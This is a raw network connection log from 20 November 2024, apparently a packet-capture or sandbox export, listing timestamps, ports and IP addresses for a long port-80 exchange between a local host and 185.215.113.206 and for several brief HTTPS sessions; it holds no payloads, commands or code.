Nov 20, 2024 23:12:57.399610996 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.399692059 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.399744034 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.400429964 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.400465965 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.400516033 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.401343107 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.401407957 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.401473999 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.401729107 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.402081013 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.402273893 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.489124060 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.489198923 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.489228010 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.489346981 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.489479065 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.489521980 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.489574909 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.489609957 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.490376949 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.490421057 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.490513086 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.490550995 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.491197109 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.491240978 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.491293907 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.491329908 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.492074966 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.492242098 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.492289066 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.492893934 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.492993116 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.493001938 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.493067026 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.493774891 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.493828058 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.493874073 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.494296074 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.494601965 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.494729042 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.494745970 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.494765997 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.495448112 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.495553017 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.495841980 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.496280909 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.496345997 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.496376038 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.496436119 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.497172117 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.497220993 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.497369051 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.497409105 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.497965097 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.498013020 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.498070955 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.498838902 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.498883963 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.498992920 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.499713898 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.499761105 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.499841928 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.500579119 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.500610113 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.500653028 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.501399040 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.501516104 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.501558065 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.502232075 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.502334118 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.502392054 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.503098011 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.503129005 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.503186941 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.504014969 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.504138947 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.504216909 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.504831076 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.504879951 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.505042076 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.505084038 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.505656004 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.505703926 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.505749941 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.506524086 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.506580114 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.506648064 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.506715059 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.507376909 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.507431984 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.507467031 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.507508039 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.508203983 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.508248091 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.508300066 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.508341074 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.509047031 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.509097099 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.509140968 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.509315014 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.509913921 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.509969950 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.510015965 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.510113955 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.510754108 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.510802984 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.510895014 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.510937929 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.511606932 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.511653900 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.511699915 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.511739969 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.512463093 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.512531996 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.512618065 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.512769938 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.513329029 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.513392925 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.513428926 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.513519049 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.594000101 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.594063997 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.594130993 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.594410896 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.594471931 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.594479084 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.594711065 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.595252991 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.595309973 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.595352888 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.595443964 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.596095085 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.596158981 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.596194029 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.596242905 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.597011089 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.597038031 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.597064972 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.597076893 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.597816944 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.597897053 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.597954035 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.598701000 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.598799944 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.598822117 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.598941088 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.599534035 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.599589109 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.599709988 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.599761963 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.600426912 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.600471973 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.600526094 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.601219893 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.601345062 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.601394892 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.602093935 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.602149963 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.602154970 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.602278948 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.602941990 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.603013039 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.603029966 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.603079081 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.603775978 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.604020119 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.604079008 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.604635000 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.604691029 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.604732037 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.604835987 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.605511904 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.605566025 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.605581045 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.605659962 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.725254059 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.807343960 CET	443	49885	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:57.807418108 CET	443	49885	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:57.807503939 CET	49885	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:57.807682991 CET	49885	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:57.807683945 CET	49885	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:57.807734966 CET	443	49885	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:57.807763100 CET	443	49885	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:57.810587883 CET	49903	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:57.810688019 CET	443	49903	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:57.810764074 CET	49903	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:57.810956001 CET	49903	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:57.810982943 CET	443	49903	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:57.826960087 CET	443	49886	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:57.827889919 CET	49886	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:57.827925920 CET	443	49886	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:57.828666925 CET	49886	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:57.828679085 CET	443	49886	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:57.844850063 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.879874945 CET	443	49887	20.190.181.5	192.168.2.7
Nov 20, 2024 23:12:57.880434990 CET	443	49888	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:57.880486965 CET	49887	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:12:57.880502939 CET	443	49887	20.190.181.5	192.168.2.7
Nov 20, 2024 23:12:57.881335974 CET	49887	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:12:57.881344080 CET	443	49887	20.190.181.5	192.168.2.7
Nov 20, 2024 23:12:57.881362915 CET	49887	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:12:57.881371021 CET	443	49887	20.190.181.5	192.168.2.7
Nov 20, 2024 23:12:57.881870031 CET	49888	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:57.881892920 CET	443	49888	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:57.882339001 CET	49888	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:57.882345915 CET	443	49888	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:57.960891962 CET	443	49889	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:57.961700916 CET	49889	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:57.961719990 CET	443	49889	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:57.962304115 CET	49889	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:57.962308884 CET	443	49889	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:58.063508987 CET	443	49893	20.110.205.119	192.168.2.7
Nov 20, 2024 23:12:58.063805103 CET	49893	443	192.168.2.7	20.110.205.119
Nov 20, 2024 23:12:58.063832045 CET	443	49893	20.110.205.119	192.168.2.7
Nov 20, 2024 23:12:58.063896894 CET	443	49894	18.173.219.40	192.168.2.7
Nov 20, 2024 23:12:58.064150095 CET	49894	443	192.168.2.7	18.173.219.40
Nov 20, 2024 23:12:58.064177990 CET	443	49894	18.173.219.40	192.168.2.7
Nov 20, 2024 23:12:58.065305948 CET	443	49894	18.173.219.40	192.168.2.7
Nov 20, 2024 23:12:58.065366983 CET	49894	443	192.168.2.7	18.173.219.40
Nov 20, 2024 23:12:58.066355944 CET	49894	443	192.168.2.7	18.173.219.40
Nov 20, 2024 23:12:58.066446066 CET	443	49894	18.173.219.40	192.168.2.7
Nov 20, 2024 23:12:58.066617012 CET	49894	443	192.168.2.7	18.173.219.40
Nov 20, 2024 23:12:58.066628933 CET	443	49894	18.173.219.40	192.168.2.7
Nov 20, 2024 23:12:58.067572117 CET	443	49893	20.110.205.119	192.168.2.7
Nov 20, 2024 23:12:58.067646980 CET	49893	443	192.168.2.7	20.110.205.119
Nov 20, 2024 23:12:58.068523884 CET	49893	443	192.168.2.7	20.110.205.119
Nov 20, 2024 23:12:58.068706036 CET	49893	443	192.168.2.7	20.110.205.119
Nov 20, 2024 23:12:58.068710089 CET	443	49893	20.110.205.119	192.168.2.7
Nov 20, 2024 23:12:58.068895102 CET	443	49890	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:58.069134951 CET	49890	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:58.069153070 CET	443	49890	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:58.070296049 CET	443	49890	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:58.070569992 CET	49890	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:58.070677042 CET	49890	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:58.070739985 CET	443	49890	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:58.111355066 CET	443	49893	20.110.205.119	192.168.2.7
Nov 20, 2024 23:12:58.120989084 CET	49893	443	192.168.2.7	20.110.205.119
Nov 20, 2024 23:12:58.121004105 CET	49894	443	192.168.2.7	18.173.219.40
Nov 20, 2024 23:12:58.121007919 CET	443	49893	20.110.205.119	192.168.2.7
Nov 20, 2024 23:12:58.121006012 CET	49890	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:58.158140898 CET	443	49891	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:58.158390045 CET	49891	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:58.158413887 CET	443	49891	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:58.158751965 CET	443	49891	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:58.159037113 CET	49891	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:58.159096956 CET	443	49891	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:58.159177065 CET	49891	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:58.166527987 CET	49893	443	192.168.2.7	20.110.205.119
Nov 20, 2024 23:12:58.180871964 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.180944920 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.180948973 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.181044102 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.181334972 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.181416035 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.181482077 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.182159901 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.182224035 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.182265997 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.182312965 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.182998896 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.183069944 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.183124065 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.183173895 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.183886051 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.183968067 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.183995962 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.184019089 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.184717894 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.184775114 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.184823036 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.202183008 CET	443	49895	23.96.180.189	192.168.2.7
Nov 20, 2024 23:12:58.202464104 CET	49895	443	192.168.2.7	23.96.180.189
Nov 20, 2024 23:12:58.202497005 CET	443	49895	23.96.180.189	192.168.2.7
Nov 20, 2024 23:12:58.203336954 CET	443	49891	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:58.203577042 CET	443	49895	23.96.180.189	192.168.2.7
Nov 20, 2024 23:12:58.203639984 CET	49895	443	192.168.2.7	23.96.180.189
Nov 20, 2024 23:12:58.204607010 CET	49895	443	192.168.2.7	23.96.180.189
Nov 20, 2024 23:12:58.204682112 CET	443	49895	23.96.180.189	192.168.2.7
Nov 20, 2024 23:12:58.204844952 CET	49895	443	192.168.2.7	23.96.180.189
Nov 20, 2024 23:12:58.204860926 CET	443	49895	23.96.180.189	192.168.2.7
Nov 20, 2024 23:12:58.247304916 CET	49895	443	192.168.2.7	23.96.180.189
Nov 20, 2024 23:12:58.289354086 CET	443	49886	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:58.289437056 CET	443	49886	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:58.289489985 CET	49886	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:58.289659023 CET	49886	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:58.289681911 CET	443	49886	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:58.289693117 CET	49886	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:58.289697886 CET	443	49886	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:58.296010971 CET	49904	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:58.296084881 CET	443	49904	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:58.296158075 CET	49904	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:58.296333075 CET	49904	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:58.296363115 CET	443	49904	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:58.297627926 CET	443	49892	20.189.173.11	192.168.2.7
Nov 20, 2024 23:12:58.298001051 CET	49892	443	192.168.2.7	20.189.173.11
Nov 20, 2024 23:12:58.298018932 CET	443	49892	20.189.173.11	192.168.2.7
Nov 20, 2024 23:12:58.298907995 CET	443	49892	20.189.173.11	192.168.2.7
Nov 20, 2024 23:12:58.299000025 CET	49892	443	192.168.2.7	20.189.173.11
Nov 20, 2024 23:12:58.299787045 CET	49892	443	192.168.2.7	20.189.173.11
Nov 20, 2024 23:12:58.299844027 CET	443	49892	20.189.173.11	192.168.2.7
Nov 20, 2024 23:12:58.299953938 CET	49892	443	192.168.2.7	20.189.173.11
Nov 20, 2024 23:12:58.299959898 CET	443	49892	20.189.173.11	192.168.2.7
Nov 20, 2024 23:12:58.299976110 CET	49892	443	192.168.2.7	20.189.173.11
Nov 20, 2024 23:12:58.299987078 CET	443	49892	20.189.173.11	192.168.2.7
Nov 20, 2024 23:12:58.304558992 CET	443	49898	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.304723978 CET	49898	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.304734945 CET	443	49898	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.305596113 CET	443	49898	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.305608034 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.305660009 CET	49898	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.305670977 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.305668116 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.305779934 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.305871964 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.305926085 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.306015015 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.306132078 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.306802988 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.306874037 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.306982040 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.307148933 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.307334900 CET	49898	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.307394981 CET	443	49898	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.307486057 CET	49898	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.307495117 CET	443	49898	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.307585001 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.307663918 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.307704926 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.307754993 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.308439016 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.308475018 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.308495998 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.308528900 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.309325933 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.309392929 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.309465885 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.309520006 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.310127020 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.310199976 CET	49799	80	192.168.2.7	185.215.113.206
